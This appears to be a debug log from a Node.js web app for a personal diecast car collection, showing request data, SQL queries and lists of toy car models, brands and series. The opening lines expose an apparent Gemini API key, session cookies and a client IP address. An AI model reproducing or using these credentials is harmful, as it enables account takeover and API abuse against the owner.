    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast-reports',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AvmzjpJs378fK3BcHyXb7mw%3D%3D.sfZG3SFPLHdMenTwpRpDYr0ik2w36Zu9nSaj9HJuYYL0RdDS5ht6cQCX1VpZ5JrimXhtziDaikJbtyY%2FlNmjfVkv%2FqrkefYcGFdM50Zv5Z1wMLRFOxMDSx2VtkJHZZi7Gg58qIKkz56q8noNfc08KM8ranNc%2FSYwxB1vDUiHRFc%3D.WyEweLcHmuNyDQvzED8Cc7uxwcMcBSHEAOp5QgFxAyw; your_r_git.sid=s%3AtfyySIgIbZv3kKkBtlb0I3nBxeTBxnwX.rccU7%2FunZjzONRsds6VBQAZvetl%2F0vRnR3Ol0HYj6Qc',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-03T08:36:29.365Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast-reports',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast-reports',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast-reports',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AvmzjpJs378fK3BcHyXb7mw%3D%3D.sfZG3SFPLHdMenTwpRpDYr0ik2w36Zu9nSaj9HJuYYL0RdDS5ht6cQCX1VpZ5JrimXhtziDaikJbtyY%2FlNmjfVkv%2FqrkefYcGFdM50Zv5Z1wMLRFOxMDSx2VtkJHZZi7Gg58qIKkz56q8noNfc08KM8ranNc%2FSYwxB1vDUiHRFc%3D.WyEweLcHmuNyDQvzED8Cc7uxwcMcBSHEAOp5QgFxAyw; your_r_git.sid=s%3AtfyySIgIbZv3kKkBtlb0I3nBxeTBxnwX.rccU7%2FunZjzONRsds6VBQAZvetl%2F0vRnR3Ol0HYj6Qc',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-02-02T08:37:05.145Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes-Benz', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 }
]
2026-02-02T08:37:05.146Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes-Benz' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-02T08:37:05.146Z server-connect:app Executing action step select
2026-02-02T08:37:05.146Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-02T08:37:05.147Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 115,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 100 },
    current: 1,
    total: 5
  },
  data: [
    {
      id: 133,
      model_name: 'Volkswagen T1',
      release_year: 2026,
      scale: '1:56',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 132,
      model_name: 'Volkwagen classic beetle 1967',
      release_year: 2025,
      scale: '1:54',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 131,
      model_name: 'Suzuki Jimny 2018',
      release_year: 2025,
      scale: '1:48',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Suzuki',
      vehicle_brand_id: 175,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes-Benz',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 121,
      model_name: 'Porsche 911 Carerra S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 120,
      model_name: 'Chevrolet Camaro',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 119,
      model_name: 'Renault Megane R.S.',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 118,
      model_name: 'Ford GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 117,
      model_name: 'Audi R8 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 116,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 115,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 114,
      model_name: 'Lamborghini Hurucan Avio',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 113,
      model_name: 'Alfa Romeo 4C Spider',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 112,
      model_name: 'Lamborghini CoutachLP400',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 111,
      model_name: 'Alfa Romeo Giulia ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 110,
      model_name: 'Volvo FMX low bed truck Trailor',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-16T18:30:00.000Z',
      price: '750.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 109,
      model_name: 'Volvo excavator EC950F',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-24T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-02T08:37:05.148Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-02T08:37:05.149Z server-connect:app Executing action step select
2026-02-02T08:37:05.149Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-02T08:37:05.149Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-02T08:37:05.531Z server-connect:router Serving serverConnect /api/reports/diecast/by-series
2026-02-02T08:37:05.531Z server-connect:app Executing action step identify
2026-02-02T08:37:05.531Z server-connect:app options: { provider: 'security' }
2026-02-02T08:37:05.532Z server-connect:output identity: 1
2026-02-02T08:37:05.532Z server-connect:app Executing action step restrict
2026-02-02T08:37:05.532Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-02T08:37:05.532Z server-connect:output restrict: undefined
2026-02-02T08:37:05.532Z server-connect:app Executing action step custom
2026-02-02T08:37:05.532Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    dc.series,\n' +
      '    c.name,\n' +
      '    COUNT(*) AS total\n' +
      'FROM diecast_cars dc\n' +
      'LEFT JOIN collections c ON c.id = dc.series\n' +
      'WHERE dc.series <> 75\n' +
      'GROUP BY dc.series, c.name\n' +
      'ORDER BY total DESC;',
    params: []
  }
}
2026-02-02T08:37:05.534Z server-connect:output list: [
  { series: 106, name: 'HW Peak Pursuit', total: 6 },
  {
    series: 174,
    name: 'Majorette Limited Edition 9 Gift Set',
    total: 5
  },
  { series: 171, name: 'Majorette Dream Italy Gift Set', total: 5 },
  { series: 173, name: 'Majorette Porsche Edition Gift Set', total: 5 },
  { series: 172, name: 'Majorette Light Racer Gift Set', total: 5 },
  { series: 101, name: 'HW Then and now', total: 4 },
  { series: 107, name: 'HW EV', total: 4 },
  { series: 102, name: 'HW Wagons', total: 4 },
  { series: 96, name: 'HW Muscle Mania', total: 4 },
  { series: 95, name: 'HW Race day', total: 4 },
  { series: 94, name: 'HW Dirt', total: 4 },
  { series: 97, name: 'HW Hot Trucks', total: 3 },
  { series: 103, name: 'HW Modified', total: 3 },
  { series: 145, name: 'HW Factory Fresh', total: 3 },
  { series: 92, name: 'Fantasy', total: 2 },
  { series: 170, name: 'HW Exotics', total: 2 },
  { series: 150, name: 'HW Reverse Rake', total: 2 },
  { series: 149, name: 'HW Compact Kings', total: 2 },
  { series: 147, name: 'HW Mustang 60th', total: 2 },
  { series: 83, name: 'Moving Parts', total: 2 },
  { series: 98, name: 'HW Celebration Racers', total: 2 },
  { series: 105, name: 'HW Art Cars', total: 2 },
  { series: 99, name: 'HW 70s vs 90s', total: 2 },
  { series: 100, name: 'HW Track Champs', total: 2 },
  { series: 163, name: 'HW Starting Grid', total: 1 },
  { series: 104, name: 'HW Wide Widebody', total: 1 },
  { series: 166, name: 'HW Experimotors', total: 1 },
  { series: 165, name: 'HW Metro', total: 1 },
  { series: 164, name: 'HW Nightspeed', total: 1 },
  { series: 146, name: 'HW Track Aces', total: 1 },
  { series: 162, name: 'Neon Speeders - Mix 2', total: 1 },
  { series: 161, name: 'HW Batman', total: 1 },
  { series: 160, name: "HW Truckin' Along", total: 1 },
  { series: 159, name: 'HW Fan Driver', total: 1 },
  { series: 151, name: 'HW Rod Squad', total: 1 },
  { series: 144, name: 'HW Safari Mode', total: 1 },
  { series: 148, name: 'HW Wild Widebody', total: 1 }
]
2026-02-02T08:37:13.851Z server-connect:router Serving serverConnect /api/reports/diecast/by-manufacturer
2026-02-02T08:37:13.851Z server-connect:app Executing action step identify
2026-02-02T08:37:13.851Z server-connect:app options: { provider: 'security' }
2026-02-02T08:37:13.851Z server-connect:output identity: 1
2026-02-02T08:37:13.851Z server-connect:app Executing action step restrict
2026-02-02T08:37:13.851Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-02T08:37:13.852Z server-connect:output restrict: undefined
2026-02-02T08:37:13.852Z server-connect:app Executing action step custom
2026-02-02T08:37:13.852Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    dc.brand_id,\n' +
      '    c.name,\n' +
      '    COUNT(*) AS total\n' +
      'FROM diecast_cars dc\n' +
      'LEFT JOIN collections c ON c.id = dc.brand_id\n' +
      'GROUP BY dc.brand_id, c.name\n' +
      'ORDER BY total DESC;',
    params: []
  }
}
2026-02-02T08:37:13.853Z server-connect:output list: [
  { brand_id: 71, name: 'Hotwheels', total: 68 },
  { brand_id: 72, name: 'Majorette', total: 23 },
  { brand_id: 73, name: 'Matchbox', total: 20 },
  { brand_id: 158, name: 'CCA', total: 3 },
  { brand_id: 74, name: 'Bburago', total: 1 }
]
2026-02-02T08:37:18.955Z server-connect:router Serving serverConnect /api/reports/diecast/by-series
2026-02-02T08:37:18.955Z server-connect:app Executing action step identify
2026-02-02T08:37:18.955Z server-connect:app options: { provider: 'security' }
2026-02-02T08:37:18.956Z server-connect:output identity: 1
2026-02-02T08:37:18.956Z server-connect:app Executing action step restrict
2026-02-02T08:37:18.956Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-02T08:37:18.956Z server-connect:output restrict: undefined
2026-02-02T08:37:18.956Z server-connect:app Executing action step custom
2026-02-02T08:37:18.956Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    dc.series,\n' +
      '    c.name,\n' +
      '    COUNT(*) AS total\n' +
      'FROM diecast_cars dc\n' +
      'LEFT JOIN collections c ON c.id = dc.series\n' +
      'WHERE dc.series <> 75\n' +
      'GROUP BY dc.series, c.name\n' +
      'ORDER BY total DESC;',
    params: []
  }
}
2026-02-02T08:37:18.957Z server-connect:output list: [
  { series: 106, name: 'HW Peak Pursuit', total: 6 },
  {
    series: 174,
    name: 'Majorette Limited Edition 9 Gift Set',
    total: 5
  },
  { series: 171, name: 'Majorette Dream Italy Gift Set', total: 5 },
  { series: 173, name: 'Majorette Porsche Edition Gift Set', total: 5 },
  { series: 172, name: 'Majorette Light Racer Gift Set', total: 5 },
  { series: 101, name: 'HW Then and now', total: 4 },
  { series: 107, name: 'HW EV', total: 4 },
  { series: 102, name: 'HW Wagons', total: 4 },
  { series: 96, name: 'HW Muscle Mania', total: 4 },
  { series: 95, name: 'HW Race day', total: 4 },
  { series: 94, name: 'HW Dirt', total: 4 },
  { series: 97, name: 'HW Hot Trucks', total: 3 },
  { series: 103, name: 'HW Modified', total: 3 },
  { series: 145, name: 'HW Factory Fresh', total: 3 },
  { series: 92, name: 'Fantasy', total: 2 },
  { series: 170, name: 'HW Exotics', total: 2 },
  { series: 150, name: 'HW Reverse Rake', total: 2 },
  { series: 149, name: 'HW Compact Kings', total: 2 },
  { series: 147, name: 'HW Mustang 60th', total: 2 },
  { series: 83, name: 'Moving Parts', total: 2 },
  { series: 98, name: 'HW Celebration Racers', total: 2 },
  { series: 105, name: 'HW Art Cars', total: 2 },
  { series: 99, name: 'HW 70s vs 90s', total: 2 },
  { series: 100, name: 'HW Track Champs', total: 2 },
  { series: 163, name: 'HW Starting Grid', total: 1 },
  { series: 104, name: 'HW Wide Widebody', total: 1 },
  { series: 166, name: 'HW Experimotors', total: 1 },
  { series: 165, name: 'HW Metro', total: 1 },
  { series: 164, name: 'HW Nightspeed', total: 1 },
  { series: 146, name: 'HW Track Aces', total: 1 },
  { series: 162, name: 'Neon Speeders - Mix 2', total: 1 },
  { series: 161, name: 'HW Batman', total: 1 },
  { series: 160, name: "HW Truckin' Along", total: 1 },
  { series: 159, name: 'HW Fan Driver', total: 1 },
  { series: 151, name: 'HW Rod Squad', total: 1 },
  { series: 144, name: 'HW Safari Mode', total: 1 },
  { series: 148, name: 'HW Wild Widebody', total: 1 }
]
2026-02-02T08:37:19.503Z server-connect:router Serving templateView /collections
2026-02-02T08:37:19.504Z server-connect:app Executing action step identify
2026-02-02T08:37:19.504Z server-connect:app options: { provider: 'security' }
2026-02-02T08:37:19.504Z server-connect:output identity: 1
2026-02-02T08:37:19.504Z server-connect:app Executing action step restrict
2026-02-02T08:37:19.504Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
